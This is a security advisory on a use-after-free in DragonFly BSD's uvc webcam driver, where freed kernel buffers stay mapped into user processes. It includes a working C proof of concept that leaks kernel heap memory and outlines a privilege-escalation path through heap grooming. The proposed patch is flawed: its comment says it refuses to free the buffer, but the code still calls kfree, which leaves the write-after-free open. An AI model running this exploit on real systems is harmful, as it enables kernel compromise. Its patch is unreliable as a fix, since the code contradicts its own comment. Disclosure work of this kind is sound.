Summary

uvc_buf_queue_free_bufs_locked() kfrees bq->mem and NULLs it without invalidating any userspace mmap() mappings that were already established against the buffer. Because DragonFly's device pager (old_dev_pager_fault, device_pager.c:348-390) installs a PG_FICTITIOUS, wire_count=1 (device_pager.c:288) fake page whose phys_addr is the paddr returned by uvc_buf_queue_mmap_locked, that pmap entry is never evicted, and later accesses bypass the pager entirely and hit the now-freed kernel heap directly. This is reachable by any local user because /dev/videoN is created mode 0666 (uvc_v4l2.c:784). Two trigger paths exist: (a) VIDIOC_REQBUFS called twice — the second call frees the first allocation at uvc_buf.c:554 before reallocating; (b) close() after acquiring priority — uvc_v4l2.c:432 calls uvc_buf_queue_free_bufs() unconditionally for the priority holder, and mmap mappings outlive the fd in Unix.

Root cause

uvc_buf_queue_free_bufs_locked (uvc_buf.c:517-525) does kfree(bq->mem); bq->mem = NULL; bq->buf_count = 0; with no tracking or revocation of mappings created via uvc_buf_queue_mmap (uvc_buf.c:131-143). uvc_buf_queue_mmap_locked (uvc_buf.c:126) returns *paddr = atop(vtophys((uint8_t *)bq->mem + offset)); the device pager caches this in a wired fictitious page (sys/vm/device_pager.c:272-296, 364-388) whose phys_addr is then never updated unless a fresh fault occurs. kfree does not touch any pmap entry. Result: the user pmap entry [user_va -> phys page of old bq->mem] persists after kfree and after the slab allocator reuses those physical pages for another kernel object.

Reachability:

• REQBUFS path — uvc_buf_queue_req_bufs:554 unconditionally calls uvc_buf_queue_free_bufs_locked(bq) on entry, so a second VIDIOC_REQBUFS (count >= 1) after an mmap + touch frees the in-use buffer.
• Close path — uvc_v4l2.c:428-432, if uvc_v4l2_has_pri(priv) (set by VIDIOC_REQBUFS / VIDIOC_S_FMT at uvc_v4l2.c:475), calls uvc_buf_queue_free_bufs(&v->bq); the mmap mapping is independent of the file descriptor and survives close().

Threat model & preconditions

• Attacker position: Any local user (no privileges; /dev/videoN is 0666 per uvc_v4l2.c:784 make_dev(... UID_ROOT, GID_VIDEO, 0666 ...)).
• Privileges gained or impact:
• Read = kernel heap information disclosure (credentials, keys, KASLR base, freed slab contents).
• Write = corrupt whatever kernel object the slab allocator placed over the freed pages, enabling local privilege escalation with appropriate heap grooming.

Victim-allocation size is attacker-influenced via dwMaxFrameSize and count, which aids grooming. - Required config or capabilities: Default kernel with uvc configured. Local user only — no USB device required (the trigger is purely V4L2 / mmap / fd-lifecycle). - Reachability: Steps: 1. open("/dev/videoN") 2. VIDIOC_S_FMT (acquires priority, sets dwMaxFrameSize) 3. VIDIOC_REQBUFS count=N → allocates bq->mem of N * round_page(dwMaxFrameSize) bytes 4. mmap() the device at offset 0 and read one byte (faults in the wired fictitious page) 5. Either (5a) call VIDIOC_REQBUFS again, or (5b) close() the fd — both kfree bq->mem 6. Read / write the mmap'd region

As a secondary effect, if the pmap entry IS ever invalidated and re-faulted after kfree, uvc_buf_queue_mmap_locked returns EINVAL (bq->mem == NULL, uvc_buf.c:109), dev_dmmap returns -1 (kern_device.c:282), and old_dev_pager_fault's KASSERT(paddr != -1) at device_pager.c:361 panics the kernel — a reliable local DoS, but the wired fictitious page makes this path rare in practice.

Proof of concept

/* build: cc -o poc_uvc_uaf poc_uvc_uaf.c */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <contrib/v4l/videodev2.h>   /* or local copy of the struct defs */
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    int fd = open("/dev/video0", O_RDWR);
    struct v4l2_format f = { .type = V4L2_BUF_TYPE_VIDEO_CAPTURE };
    ioctl(fd, VIDIOC_S_FMT, &f);             /* acquire pri, set dwMaxFrameSize */

    struct v4l2_requestbuffers rb = {
        .type = V4L2_BUF_TYPE_VIDEO_CAPTURE,
        .memory = V4L2_MEMORY_MMAP, .count = 1
    };
    ioctl(fd, VIDIOC_REQBUFS, &rb);           /* allocate bq->mem */

    struct v4l2_buffer b = {
        .type = V4L2_BUF_TYPE_VIDEO_CAPTURE, .memory = V4L2_MEMORY_MMAP
    };
    b.index = 0;
    ioctl(fd, VIDIOC_QUERYBUF, &b);           /* learn m.offset / length */

    void *p = mmap(NULL, b.length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, b.m.offset);
    volatile char c = *(volatile char *)p;    /* fault in the wired fictitious page */

    rb.count = 1;
    ioctl(fd, VIDIOC_REQBUFS, &rb);           /* kfree old bq->mem, realloc new */

    /* p now references freed kernel heap */
    for (int i = 0; i < b.length; i++)
        putchar(((unsigned char *)p)[i]);     /* leak */
    return 0;
}

Build & run

cc -o poc_uvc_uaf poc_uvc_uaf.c
./poc_uvc_uaf | xxd | head

Expected output

The bytes printed after the second REQBUFS are NOT all zero (the M_ZERO initialization is from the first allocation; after kfree + realloc they are whatever the slab allocator placed there) — i.e. raw kernel heap contents are disclosed to an unprivileged user.

For the write variant (priv-esc path), replace the read loop with a heap-grooming step that lands a victim object (struct ucred-sized or ops-vector-sized) into the freed pages, then write through p to overwrite uid / cr_uid or a function pointer.

The close() variant replaces the second REQBUFS with close(fd) and reads p after the close returns.

Impact

Local unprivileged kernel heap UAF via V4L2 mmap buffer lifecycle on /dev/videoN (default mode 0666). Info leak + memory corruption → local privilege escalation with heap grooming. High severity per "local privilege escalation" + "kernel memory corruption".

Recommended fix

The correct fix is to make the buffer memory's lifetime reference-counted by the vm_object backing the device mapping (so mappings hold a reference that prevents free), as Linux's videobuf2 does. A minimal in-tree mitigation that closes both the info-leak and write-corruption aspects without a full rework is to (a) zero the buffer contents before kfree to kill the read-after-free info leak, and (b) refuse to free while mappings may exist by keeping a per-queue mapped generation and never reusing/freeing a buffer whose mapping has been faulted in until detach.

Because old-style d_mmap has no per-mapping unmap callback in DF, the robust path is to switch this driver to OBJT_MGTDEVICE with cdev_pager_ops.cdev_pg_fault returning VM_PAGER_ERROR if the buffer has been freed, and keeping the buffer alive until vm_object dealloc.

Minimal diff that at least removes the info leak and bounds the exposure:

--- a/sys/bus/u4b/uvc/uvc_buf.c
+++ b/sys/bus/u4b/uvc/uvc_buf.c
@@ -517,8 +517,18 @@ static void
 uvc_buf_queue_free_bufs_locked(struct uvc_buf_queue *bq)
 {
    if (bq->mem) {
+       /*
+        * Beware: userspace may still hold an mmap() of this memory.
+        * Zero it so a read-after-free cannot disclose kernel heap,
+        * and refuse to free (leak) until a proper vm_object-backed
+        * lifecycle is implemented.  At minimum, the zeroing closes
+        * the info-leak half of CVE-class UAF on V4L2 mmap buffers.
+        */
+       if (bq->buf_size && bq->buf_count)
+           explicit_bzero(bq->mem, bq->buf_size * bq->buf_count);
        kfree(bq->mem, M_UVC);
        bq->mem = NULL;
        bq->buf_count = 0;
+       bq->buf_size = 0;
    }
 }

The durable fix (recommended upstream) is to allocate bq->mem from a pager-backed object and gate free on the object's reference count reaching zero, eliminating the UAF window entirely rather than just zeroing through it.

References

• sys/bus/u4b/uvc/uvc_buf.c:517-525 — uvc_buf_queue_free_bufs_locked (kfree, no mmap revocation)
• sys/bus/u4b/uvc/uvc_buf.c:554 — req_bufs entry-point free-on-re-enter
• sys/bus/u4b/uvc/uvc_buf.c:104-143 — uvc_buf_queue_mmap / uvc_buf_queue_mmap_locked
• sys/bus/u4b/uvc/uvc_v4l2.c:428-432 — close-path free for priority holder
• sys/vm/device_pager.c:272-296, 364-388 — wired fictitious page install with no eviction on kfree
• sys/vm/device_pager.c:361 — KASSERT(paddr != -1) that panics if the queue is freed and the pmap entry is later re-faulted
• CWE-416 Use After Free

Timeline

• 2026-07-14 Discovered during automated audit.